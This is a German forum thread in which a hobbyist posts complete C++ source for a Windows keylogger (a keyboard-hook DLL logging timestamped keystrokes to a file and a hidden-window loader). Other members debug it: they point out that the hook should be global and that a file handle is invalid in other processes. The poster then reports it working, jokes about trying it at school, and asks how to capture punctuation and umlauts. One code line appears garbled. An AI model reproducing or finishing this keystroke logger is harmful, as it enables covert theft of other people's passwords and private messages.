ich progge jetzt schon seit 3 Jahren mit C++ und habe auch schon recht viel Erfahrung mit WinAPI, COM, DX usw. gesammelt.
naja, hier im Forum lese ich jetzt immer öfter was von Hooks^^

also hab ich mir gedacht, zum Spaß bastelste dir jetzt mal einen Keylogger.
ich habe jetzt eine DLL mit der Hook-Funktion und ein Programm, welches den Hook installiert.
Das Programm legt ein Tray-Icon an, über das man es beenden kann.
Beim Beenden wird dann auch der Hook wieder entfernt.

ich verwende bei dem Hook SetWindowsHookEx und UnhookWindowsHookEx.
als Typ habe ich WH_KEYBOARD.

auf jeden Fall gibt mir SetWindowsHookEx ein gültiges Handle zurück,
was ja eigentlich schön ist^^

nur leider kann ich auf die Tastatur hämmern wie ich will, meine Hook-Funktion wird nicht einmal aufgerufen!

der einzige Grund dafür, der mir einfällt, wäre, dass ein anderes Programm bereits einen Keyboard-Hook installiert hat
und NICHT CallNextHookEx aufruft...

Das würde allerdings heißen, dass ich alle Programme beenden müsste, die dafür in Frage kämen, wobei ich mir nicht
bewusst bin, welches dafür verantwortlich sein könnte.

Deshalb wollte ich mal fragen, ob es vllt noch andere Gründe geben kann,
warum mein Hook nie aufgerufen wird.

schonmal danke im voraus.

MfG DrakoXP

schirrmie?

ich habe mich an die MSDN gehalten,
denn man sollte ja meinen, dass der Entwickler einer API auch weiß, wie diese funktioniert

...

ich hab mir deinen Thread da mal angeguckt und
im Prinzip hab ich es genauso gemacht,
nur dass eben SetWindowsHookEX und UnhookWindowHookEx nicht in der DLL sind,
sondern im Programm.

ansonsten hab ich das auch so.

außerdem habe ich ja bereits geschrieben, dass SetWindowsHookEX ein gültiges Handle zurückgibt,
also kann es ja gar nicht so falsch sein (ich weiß, dummer Satz, aber egal)

nein ehrlich, ich kann absolut nichts in dem Code finden, was irgendwie Fehlerhaft wäre.

Im Debugger läuft es perfekt (abgesehen davon, dass die HookProc nie aufgerufen wird).
Naja, ohne Debugger läuft es genauso.

Die Key-Logfiles sind folglich am Ende auch immer leer.

ach ja, bitte keine dummen Bemerkungen, was den Stil angeht...
nach 3 Jahren C++ weiß ich, dass nicht alles an dem Code lupenrein ist,
aber es ist an sich ja auch nur ein Testprogramm und da achte ich nicht so drauf.
also nur was sagen, wenn es mir bei der Lösung des Problems hilft!

#pragma comment(lib, "strsafe.lib")

#include <windows.h>
#include <tchar.h>
#include <strsafe.h>

#pragma data_seg("shared")
HANDLE g_hFile = INVALID_HANDLE_VALUE;
HHOOK g_hHook = NULL;
#pragma data_seg()

#pragma comment(linker, "/SECTION:shared,RWS")

#define PROCESS_KEY(target,keycode) case keycode: StringCchCat(target, sizeof(target), TEXT( #keycode )); break
extern "C" {
__declspec(dllexport) HANDLE SetFileHandle(HANDLE hNew)
{
	HANDLE hOld = g_hFile;
	g_hFile = hNew;
	return hOld;
}

__declspec(dllexport) HHOOK SetHookHandle(HHOOK hNew)
{
	HHOOK hOld = g_hHook;
	g_hHook = hNew;
	return hOld;
}

__declspec(dllexport) LRESULT CALLBACK KeyBoardHook(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode < 0)
		return CallNextHookEx(g_hHook, nCode, wParam, lParam);
	if (g_hFile != INVALID_HANDLE_VALUE)
	{
		TCHAR szOutput[64];
		SYSTEMTIME now = { 0 };
		GetLocalTime(&now);
		StringCchPrintf(szOutput, sizeof(szOutput), TEXT("[%d.%d.%d %d:%d:%d "), now.wDay, now.wMonth, now.wYear, now.wHour, now.wMinute, now.wSecond);
		switch (wParam)
		{
			PROCESS_KEY(szOutput, VK_BACK);
			PROCESS_KEY(szOutput, VK_TAB);
			PROCESS_KEY(szOutput, VK_CLEAR);
			PROCESS_KEY(szOutput, VK_RETURN);
			PROCESS_KEY(szOutput, VK_SHIFT);
			PROCESS_KEY(szOutput, VK_CONTROL);
			PROCESS_KEY(szOutput, VK_MENU);
			PROCESS_KEY(szOutput, VK_CAPITAL);
			PROCESS_KEY(szOutput, VK_ESCAPE);
			PROCESS_KEY(szOutput, VK_SPACE);
			PROCESS_KEY(szOutput, VK_PRIOR);
			PROCESS_KEY(szOutput, VK_NEXT);
			PROCESS_KEY(szOutput, VK_END);
			PROCESS_KEY(szOutput, VK_HOME);
			PROCESS_KEY(szOutput, VK_LEFT);
			PROCESS_KEY(szOutput, VK_UP);
			PROCESS_KEY(szOutput, VK_RIGHT);
			PROCESS_KEY(szOutput, VK_DOWN);
			PROCESS_KEY(szOutput, VK_SELECT);
			PROCESS_KEY(szOutput, VK_PRINT);
			PROCESS_KEY(szOutput, VK_EXECUTE);
			PROCESS_KEY(szOutput, VK_SNAPSHOT);
			PROCESS_KEY(szOutput, VK_INSERT);
			PROCESS_KEY(szOutput, VK_DELETE);
			PROCESS_KEY(szOutput, VK_HELP);
		case '0': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 0 }")); break;
		case '1': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 1 }")); break;
		case '2': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 2 }")); break;
		case '3': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 3 }")); break;
		case '4': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 4 }")); break;
		case '5': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 5 }")); break;
		case '6': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 6 }")); break;
		case '7': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 7 }")); break;
		case '8': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 8 }")); break;
		case '9': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ 9 }")); break;
		case 'A': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ A }")); break;
		case 'B': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ B }")); break;
		case 'C': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ C }")); break;
		case 'D': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ D }")); break;
		case 'E': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ E }")); break;
		case 'F': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ F }")); break;
		case 'G': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ G }")); break;
		case 'H': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ H }")); break;
		case 'I': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ I }")); break;
		case 'J': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ J }")); break;
		case 'K': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ K }")); break;
		case 'L': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ L }")); break;
		case 'M': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ M }")); break;
		case 'N': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ N }")); break;
		case 'O': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ O }")); break;
		case 'P': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ P }")); break;
		case 'Q': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ Q }")); break;
		case 'R': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ R }")); break;
		case 'S': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ S }")); break;
		case 'T': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ T }")); break;
		case 'U': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ U }")); break;
		case 'V': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ V }")); break;
		case 'W': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ W }")); break;
		case 'X': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ X }")); break;
		case 'Y': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ Y }")); break;
		case 'Z': StringCchCat(szOutput, sizeof(szOutput), TEXT("{ Z }")); break;
			PROCESS_KEY(szOutput, VK_LWIN);
			PROCESS_KEY(szOutput, VK_RWIN);
			PROCESS_KEY(szOutput, VK_APPS);
			PROCESS_KEY(szOutput, VK_NUMPAD0);
			PROCESS_KEY(szOutput, VK_NUMPAD1);
			PROCESS_KEY(szOutput, VK_NUMPAD2);
			PROCESS_KEY(szOutput, VK_NUMPAD3);
			PROCESS_KEY(szOutput, VK_NUMPAD4);
			PROCESS_KEY(szOutput, VK_NUMPAD5);
			PROCESS_KEY(szOutput, VK_NUMPAD6);
			PROCESS_KEY(szOutput, VK_NUMPAD7);
			PROCESS_KEY(szOutput, VK_NUMPAD8);
			PROCESS_KEY(szOutput, VK_NUMPAD9);
			PROCESS_KEY(szOutput, VK_MULTIPLY);
			PROCESS_KEY(szOutput, VK_ADD);
			PROCESS_KEY(szOutput, VK_SEPARATOR);
			PROCESS_KEY(szOutput, VK_SUBTRACT);
			PROCESS_KEY(szOutput, VK_DECIMAL);
			PROCESS_KEY(szOutput, VK_DIVIDE);
			PROCESS_KEY(szOutput, VK_F1);
			PROCESS_KEY(szOutput, VK_F2);
			PROCESS_KEY(szOutput, VK_F3);
			PROCESS_KEY(szOutput, VK_F4);
			PROCESS_KEY(szOutput, VK_F5);
			PROCESS_KEY(szOutput, VK_F6);
			PROCESS_KEY(szOutput, VK_F7);
			PROCESS_KEY(szOutput, VK_F8);
			PROCESS_KEY(szOutput, VK_F9);
			PROCESS_KEY(szOutput, VK_F10);
			PROCESS_KEY(szOutput, VK_F11);
			PROCESS_KEY(szOutput, VK_F12);
			PROCESS_KEY(szOutput, VK_NUMLOCK);
		default:
			return CallNextHookEx(g_hHook, nCode, wParam, lParam);
		}
		if (lParam & (1 << 31))
			StringCchCat(szOutput, sizeof(szOutput), TEXT(" DOWN]\n"));
		else
			StringCchCat(szOutput, sizeof(szOutput), TEXT(" UP]\n"));
		DWORD dwLength = 0, dwWritten = 0;
		StringCchLength(szOutput, sizeof(szOutput), reinterpret_cast<size_t*>(&dwLength));
		WriteFile(g_hFile, (LPCVOID)szOutput, dwLength, &dwWritten, NULL);	
	}
	return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
}
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID pReserved)
{
	return TRUE;
}

so, und hier das Programm:

#if defined _M_IX86 
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"") 
#elif defined _M_IA64 
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='ia64' publicKeyToken='6595b64144ccf1df' language='*'\"") 
#elif defined _M_X64 
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"") 
#else 
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"") 
#endif

#pragma comment(lib, "comctl32.lib")
#pragma comment(lib, "strsafe.lib")

#include <windows.h>
#include <commctrl.h>
#include <tchar.h>
#include <strsafe.h>

#include "resource.h"

const TCHAR szClassName[] = TEXT("KeyLoggerMainWindow");
const TCHAR szWindowText[] = TEXT("CTKeyLogger Version 1.0 von Felix Bytow");

#define ID_TRAYICON 500
#define WM_TRAYICON (WM_USER+1)

BOOL WINAPI AboutProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	switch (msg)
	{
	case WM_COMMAND:
		{
			switch (LOWORD(wParam))
			{
			case IDOK:
				{
					SendMessage(hWnd, WM_CLOSE, 0, 0);
					return TRUE;
				} break;
			}
		} break;
	case WM_CLOSE:
		{
			DestroyWindow(hWnd);
			return TRUE;
		} break;
	case WM_DESTROY:
		{
			EndDialog(hWnd, 0);
			return TRUE;
		} break;
	}
	return FALSE;
}

typedef HANDLE (*SETFILEHANDLE)(HANDLE);
typedef HHOOK (*SETHOOKHANDLE)(HHOOK);

LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	static NOTIFYICONDATA nid = { 0 };
	static HMODULE hKeyBHook = NULL;
	static HOOKPROC pfnHookProc = NULL;
	static HHOOK hHook = NULL;
	static SYSTEMTIME g_stStart = { 0 };
	static SETFILEHANDLE SetFileHandle = NULL;
	static SETHOOKHANDLE SetHookHandle = NULL;
	static HANDLE g_hFile = INVALID_HANDLE_VALUE;
	switch (msg)
	{
	case WM_CREATE:
		{
			LPCREATESTRUCT pCS = reinterpret_cast<LPCREATESTRUCT>(lParam);
			hKeyBHook = LoadLibrary(TEXT("KeyBoardHook.dll"));
			if (!hKeyBHook)
				return -1;
			pfnHookProc = (HOOKPROC)GetProcAddress(hKeyBHook, "_KeyBoardHook@12");
			if (!pfnHookProc)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			SetFileHandle = (SETFILEHANDLE)GetProcAddress(hKeyBHook, "SetFileHandle");
			if (!SetFileHandle)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			SetHookHandle = (SETHOOKHANDLE)GetProcAddress(hKeyBHook, "SetHookHandle");
			if (!SetFileHandle)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			GetLocalTime(&g_stStart);
			TCHAR szLogFile[MAX_PATH];
			StringCchPrintf(szLogFile, sizeof(szLogFile), TEXT("%d_%d_%d %d_%d_%d.log"), g_stStart.wDay, g_stStart.wMonth, g_stStart.wYear, g_stStart.wHour, g_stStart.wMinute, g_stStart.wSecond);
			g_hFile = CreateFile(szLogFile, GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
			if (g_hFile == INVALID_HANDLE_VALUE)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				return -1;
			}
			SetFileHandle(g_hFile);
			SetHookHandle(hHook = SetWindowsHookEx(WH_KEYBOARD, pfnHookProc, hKeyBHook, GetCurrentThreadId()));
			if (!hHook)
			{
				FreeLibrary(hKeyBHook);
				hKeyBHook = NULL;
				CloseHandle(g_hFile);
				DeleteFile(szLogFile);
				return -1;
			}
			nid.cbSize = NOTIFYICONDATA_V1_SIZE;
			nid.dwInfoFlags = NIIF_INFO|NIIF_LARGE_ICON;
			nid.dwState = 0;
			nid.dwStateMask = 0;
			nid.hBalloonIcon = NULL;
			nid.hIcon = LoadIcon(pCS->hInstance, MAKEINTRESOURCE(IDI_KEYBOARD));
			nid.hWnd = hWnd;
			nid.szInfo[0] = _T('\0');
			nid.szInfoTitle[0] = _T('\0');
			StringCchPrintf(nid.szTip, sizeof(nid.szTip), szWindowText);
			nid.uCallbackMessage = WM_TRAYICON;
			nid.uFlags = NIF_ICON|NIF_MESSAGE|NIF_TIP;
			nid.uID = ID_TRAYICON;
			nid.uTimeout = 10000;
			nid.uVersion = NOTIFYICON_VERSION;
			Shell_NotifyIcon(NIM_ADD, &nid);
			return 0;
		} break;
	case WM_CLOSE:
		{
			DestroyWindow(hWnd);
			return 0;
		} break;
	case WM_DESTROY:
		{
			if (hHook)
				UnhookWindowsHookEx(hHook);
			if (g_hFile != INVALID_HANDLE_VALUE)
			{
				CloseHandle(g_hFile);
				TCHAR szLogFileOld[MAX_PATH];
				StringCchPrintf(szLogFileOld, sizeof(szLogFileOld), TEXT("%d_%d_%d %d_%d_%d.log"), g_stStart.wDay, g_stStart.wMonth, g_stStart.wYear, g_stStart.wHour, g_stStart.wMinute, g_stStart.wSecond);
				TCHAR szLogFileNew[MAX_PATH];
				SYSTEMTIME now = { 0 };
				GetLocalTime(&now);
				StringCchPrintf(szLogFileNew, sizeof(szLogFileNew), TEXT("%d_%d_%d %d_%d_%d - %d_%d_%d %d_%d_%d.log"), g_stStart.wDay, g_stStart.wMonth, g_stStart.wYear, g_stStart.wHour, g_stStart.wMinute, g_stStart.wSecond, now.wDay, now.wMonth, now.wYear, now.wHour, now.wMinute, now.wSecond);
				MoveFileEx(szLogFileOld, szLogFileNew, MOVEFILE_REPLACE_EXISTING|MOVEFILE_COPY_ALLOWED|MOVEFILE_WRITE_THROUGH);
			}
			Shell_NotifyIcon(NIM_DELETE, &nid);
			if (hKeyBHook)
				FreeLibrary(hKeyBHook);
			PostQuitMessage(0);
			return 0;
		} break;
	case WM_TRAYICON:
		{
			if (lParam == WM_RBUTTONDOWN)
			{
				SetForegroundWindow(hWnd);
				HMENU hTrayMenu = LoadMenu((HINSTANCE)GetWindowLongPtr(hWnd, GWLP_HINSTANCE), MAKEINTRESOURCE(IDR_TRAYMENU));
				HMENU hPopupMenu = GetSubMenu(hTrayMenu, 0);
				POINT CursorPos = { 0 };
				GetCursorPos(&CursorPos);
				UINT cmd = TrackPopupMenu(hPopupMenu, TPM_LEFTBUTTON|TPM_RETURNCMD|TPM_NONOTIFY, CursorPos.x, CursorPos.y, 0, hWnd, NULL);
				switch (cmd)
				{
				case ID_MENUE_EXIT:
					{
						SendMessage(hWnd, WM_CLOSE, 0, 0);
					} break;
				case ID_MENUE_\1:
					{
						DialogBox((HINSTANCE)GetWindowLongPtr(hWnd, GWLP_HINSTANCE), MAKEINTRESOURCE(IDD_ABOUT), NULL, AboutProc);
					} break;
				}
			}
			return 0;
		} break;
	}
	return DefWindowProc(hWnd, msg, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR szCmdLine, int iCmdShow)
{
	InitCommonControls();
	WNDCLASSEX wce;
	wce.cbClsExtra = 0;
	wce.cbSize = sizeof(WNDCLASSEX);
	wce.cbWndExtra = 0;
	wce.hbrBackground = GetSysColorBrush(COLOR_BTNFACE);
	wce.hCursor = LoadCursor(NULL, IDC_ARROW);
	wce.hIcon = wce.hIconSm = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_KEYBOARD));
	wce.hInstance = hInstance;
	wce.lpfnWndProc = WndProc;
	wce.lpszClassName = szClassName;
	wce.lpszMenuName = NULL;
	wce.style = CS_VREDRAW|CS_HREDRAW;
	RegisterClassEx(&wce);
	HWND hWnd = CreateWindowEx(0, szClassName, szWindowText, WS_POPUP, 0, 0, 10, 10, NULL, NULL, hInstance, NULL);
	ShowWindow(hWnd, SW_HIDE);
	UpdateWindow(hWnd);
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}
	return static_cast<int>(msg.wParam);
}

Wenn's trotzdem nicht klappen sollte, kannst du ja mal versuchen, ohne den Handle-Krams in die Datei zu schreiben, vielleicht hat die DLL keine Rechte dafür (hab ich noch nie probiert, jemand anders wird mehr wissen).

also ok, zu dem Parameter NULL,
ich hatte ihn erst auf NULL, und es ging genausowenig...

und was das mit dem kryptischen Namen angeht:
wenn du meine SetWindowsHookEx funktioniert...
kann es dann falsch sein???

außerdem guck dir den DLL-Code an.
ich kompilier das und in der DLL entsteht eine Funktion _KeyBoardHook@12
tut mir ja Leid, ist aber so.
hätte ich bei GetProcAddress nur KeyBoardHook geschrieben, wäre NULL dabei rausgekommen.
das hab ich schon getestet!

den richtigen Namen _KeyBoardHook@12 hab ich über dllexp rausgefunden und
letzten Endes funktioniert das Laden ja auch.
wie gesagt: es gibt nirgendwo Fehler!

und dann möchte ich nochmal auf meine anfängliche Frage verweisen, denn an der scheinen alle einfach vorbeizulesen -.-

omfg -.-

Wenn du keine Hilfe willst, sag's einfach.

DrakoXP schrieb:

also ok, zu dem Parameter NULL,
ich hatte ihn erst auf NULL, und es ging genausowenig...

http://msdn2.microsoft.com/en-us/library/ms644990(VS.85).aspx

DrakXP schrieb:

und dann möchte ich nochmal auf meine anfängliche Frage verweisen, denn an der scheinen alle einfach vorbeizulesen -.-

Welche Frage? Die einzigen Fragezeichen, die du bis jetzt gesetzt hast, waren in eben deinem Post.

Badestrand schrieb:

Wenn's trotzdem nicht klappen sollte, kannst du ja mal versuchen, ohne den Handle-Krams in die Datei zu schreiben, vielleicht hat die DLL keine Rechte dafür [für das Handle]

Schon probiert? Weißt du was ich meine?

wie bereits geschrieben habe ich mein Wissen aus der MSDN und wie bereits geschrieben
hatte ich ursprünglich NULL verwendet und wie bereits geschrieben funktionierte es auch nicht.

und meine Frage war:

nur leider kann ich auf die Tastatur hämmern wie ich will, meine Hook-Funktion wird nicht einmal aufgerufen!

der einzige Grund dafür, der mir einfällt, wäre, dass ein anderes Programm bereits einen Keyboard-Hook installiert hat
und NICHT CallNextHookEx aufruft...

Das würde allerdings heißen, dass ich alle Programme beenden müsste, die dafür in Frage kämen, wobei ich mir nicht
bewusst bin, welches dafür verantwortlich sein könnte.

Deshalb wollte ich mal fragen, ob es vllt noch andere Gründe geben kann,
warum mein Hook nie aufgerufen wird.

und nein, ich weiß nicht was du meinst,
aber den HHOK Handle braucht man, weil man den Hook sonst weder Deinstalliern kann, noch kann man CallNextHookEx aufrufen.
Und die DLL hat die Berechtigungen, was ja eig egal ist,
da so lange die KeyBoardHook nicht aufgerufen wird ja ohnehin nicht darauf zugegriffen wird.

Die Key-Logfiles sind folglich am Ende auch immer leer.

Ein Dateihandle ist im Kontext anderer Prozesse immer ungültig. Vielleicht liegts daran ?

Die MSDN schrieb:

dwThreadId [in] Specifies the identifier of the thread with which the hook procedure is to be associated. If this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread.

Auf Deutsch: Ist der letzte Parameter von SetWindowsHookEx nicht NULL, wird deine Hook-Funktion nur für die Tastenanschläge aufgerufen, die eben dieser Thread empfängt. Wenn du deinen Thread angibst, bräuchtest du den Hook nicht, da du sowieso deine Tastatur-Ereignisse bekommst - nämlich die, die eventuell in dem Fenster getätigt werden würden, wenn es denn sichtbar wäre. Also: Mit GetCurrentThreadId() und einem unsichtbaren Fenster kann dein Hook gar keine Tastatur-Nachrichten bekommen.

DrakoXP schrieb:

und nein, ich weiß nicht was du meinst

Gut, dann sag das doch
Bei deinem Problem sehe ich zwei mögliche Fehlerquellen: Erstens dass der Hook nicht ordnungsgemäß systemweit etabliert wird, oder zweitens, dass trotz Aufruf des Hooks nichts in die Datei geschrieben wird. Deshalb mein Vorschlag: Pack eine MessageBox oder ungefähr sowas an den Anfang deiner Hook-Funktion:

HANDLE file = CreateFile( "C:/Test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
LONG dummy;
SetFilePointer( file, 0, &dummy, FILE_END );
WriteFile( file, "I've been called\n", 17, &dummy, NULL );
CloseHandle( file );

das ist auch egal, da die KeyBoardHoock NIE NIE NIE aufgerufen wird,
das heißt, ob das Handle gültig ist, oder nicht,
spielt jetzt noch gar keine Rolle -.-

Vielleicht hab ich's überlesen, aber woher weißt du genau, dass die HookProc nie aufgerufen wird?

und wenn ich den Cursor auf den Anfang des Hooks setze und das dann auswähle,
so müsste ja, sobald ich eine Taste drücke, der Debugger dort halten.
tut er aber nicht.

somit kann ich also davon ausgehen, dass der Hook nicht aufgerufen wird,
oder irre ich mich, und bei Hooks funzt ein Debugger einfach nicht?

also hab jetzt mit einer MessageBox überprüft, und die Hookfunktion WIRD aufgerufen.

also muss ich jetzt gucken, wie ich das mit der Datei anstelle.

die Frage is nur, warum macht der Debugger das nicht mit run to cursor?
ich meine, der debugger schafft ja sogar threads und so, wieso also das nicht?

die Frage is nur, warum macht der Debugger das nicht mit run to cursor?
ich meine, der debugger schafft ja sogar threads und so, wieso also das nicht?

Weil Dein Prozess, der den Hook setzt auch nie an diese Stelle gelangt, sondern der gehookte. Dein Debugger ist nur an Deinen Prozess angehängt.

greetz, Swordfish

ok, also ich hab jetzt den KeyLogger zum laufen gebracht

endlich^^

danke nochmal an alle, die geholfen haben

ok, also ich hab jetzt den KeyLogger zum laufen gebracht

Hoffentlich versteckt er sich auch gut Aber da er ja sowieso quasi Open Source ist... :p

greetz, Swordfish

danke nochmal an alle, die geholfen haben

Das nächste mal aber bitte etwas freundlicher und mit etwas mehr Vertrauen...

aber es is auch nich gerade toll, wenn die erste Antwort lautet: "noch so einer..."

naja, nichts für ungut.

und was das verstecken angeht...
ich will ja nichts böses damit tun, war ja nur eine Übung um den Umgang mit Hooks zu verstehen.

obwohl ich den bestimmt mal in der Schule ausprobieren könnte xD

ich habe in der Liste der virtual key codes nirgendswo Komma, Punkt usw.
also die ganzen Satzzeichen gefunden.
genauso fehlen die Umlaute und ß (naja, das is klar...)

weiß einer wie ich die auch mit loggen kann?

naja, dann guck ich mal

danke